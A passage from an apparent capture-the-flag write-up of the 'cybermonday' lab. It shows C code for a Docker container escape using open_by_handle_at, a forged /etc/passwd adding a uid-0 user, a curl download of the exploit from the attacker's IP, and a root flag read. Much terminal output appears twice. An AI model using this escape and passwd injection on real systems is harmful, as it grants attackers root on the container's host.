fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
lucas@parrot ~/machines/cybermonday/exploit openssl passwd -1 -salt hacker hacker $1$hacker$TzyKlv0/R/c28R.GAeLw.1
lucas@parrot ~/machines/cybermonday/exploit openssl passwd -1 -salt hacker hacker
$1$hacker$TzyKlv0/R/c28R.GAeLw.1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin john:x:1000:1000:john,,,:/home/john:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
then with the 2 files, i transfer them to the docker box, compiled the program and overwrite the passwd
root@336e0c109bb8:/tmp# curl 10.10.14.15/write.c -o write.c % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3808 100 3808 0 0 23000 0 --:--:-- --:--:-- --:--:-- 23078 root@336e0c109bb8:/tmp# gcc write.c -o write write.c: In function 'find_handle': write.c:56:13: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration] 56 | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) | ^~~~~~~~~~~~~~~~~ root@336e0c109bb8:/tmp# ls cgrp ex ex.c linpeas.sh passwd shadow shell write write.c root@336e0c109bb8:/tmp# ./write /etc/passwd passwd [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***] <enter> [*] Resolving 'etc/passwd' [*] Found lib [*] Found boot [*] Found libx32 [*] Found bin [*] Found vmlinuz.old [*] Found initrd.img [*] Found .. [*] Found root [*] Found sys [*] Found lib64 [*] Found proc [*] Found . [*] Found dev [*] Found lost+found [*] Found initrd.img.old [*] Found etc [+] Match: etc ino=129793 [*] Brute forcing remaining 32bit. This can take a while... [*] (etc) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x01, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving 'passwd' [*] Found X11 [*] Found tmpfiles.d [*] Found mailcap.order [*] Found python3 [*] Found bash_completion [*] Found cron.d [*] Found ld.so.cache [*] Found cron.hourly [*] Found dhcp [*] Found docker [*] Found sudo.conf [*] Found manpath.config [*] Found pam.d [*] Found motd [*] Found network [*] Found networks [*] Found ld.so.conf.d [*] Found discover-modprobe.conf [*] Found cron.daily [*] Found initramfs-tools [*] Found subuid [*] Found audit [*] Found rc1.d [*] Found debconf.conf [*] Found grub.d [*] Found security [*] Found rcS.d [*] Found rsyslog.d [*] Found python3.9 [*] Found reportbug.conf [*] Found passwd- [*] Found .. [*] Found locale.gen [*] Found dictionaries-common [*] Found modprobe.d [*] Found rc3.d [*] Found kernel-img.conf [*] Found ssh [*] Found passwd [+] Match: passwd ino=132306 [*] Brute forcing remaining 32bit. This can take a while... [*] (passwd) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Got a final handle! [*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; Success!!
root@336e0c109bb8:/tmp# curl 10.10.14.15/write.c -o write.c
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3808 100 3808 0 0 23000 0 --:--:-- --:--:-- --:--:-- 23078
root@336e0c109bb8:/tmp# gcc write.c -o write
write.c: In function 'find_handle':
write.c:56:13: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration]
56 | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
| ^~~~~~~~~~~~~~~~~
root@336e0c109bb8:/tmp# ls
cgrp ex ex.c linpeas.sh passwd shadow shell write write.c
root@336e0c109bb8:/tmp# ./write /etc/passwd passwd
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'etc/passwd'
[*] Found lib
[*] Found boot
[*] Found libx32
[*] Found bin
[*] Found vmlinuz.old
[*] Found initrd.img
[*] Found ..
[*] Found root
[*] Found sys
[*] Found lib64
[*] Found proc
[*] Found .
[*] Found dev
[*] Found lost+found
[*] Found initrd.img.old
[*] Found etc
[+] Match: etc ino=129793
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'passwd'
[*] Found X11
[*] Found tmpfiles.d
[*] Found mailcap.order
[*] Found python3
[*] Found bash_completion
[*] Found cron.d
[*] Found ld.so.cache
[*] Found cron.hourly
[*] Found dhcp
[*] Found docker
[*] Found sudo.conf
[*] Found manpath.config
[*] Found pam.d
[*] Found motd
[*] Found network
[*] Found networks
[*] Found ld.so.conf.d
[*] Found discover-modprobe.conf
[*] Found cron.daily
[*] Found initramfs-tools
[*] Found subuid
[*] Found audit
[*] Found rc1.d
[*] Found debconf.conf
[*] Found grub.d
[*] Found security
[*] Found rcS.d
[*] Found rsyslog.d
[*] Found python3.9
[*] Found reportbug.conf
[*] Found passwd-
[*] Found ..
[*] Found locale.gen
[*] Found dictionaries-common
[*] Found modprobe.d
[*] Found rc3.d
[*] Found kernel-img.conf
[*] Found ssh
[*] Found passwd
[+] Match: passwd ino=132306
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xd2, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
Success!!
and then if i checked the passwd of the host box i could see my user, and i could su as him and since it has all priv, i could grab the root.txt
john@cybermonday:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin john:x:1000:1000:john,,,:/home/john:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash john@cybermonday:~$ su hacker Password: root@cybermonday:/home/john# cat /root/root.txt 47a907fdeb1d2579dc248dae5210cae3
john@cybermonday:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
john@cybermonday:~$ su hacker
Password:
root@cybermonday:/home/john# cat /root/root.txt
47a907fdeb1d2579dc248dae5210cae3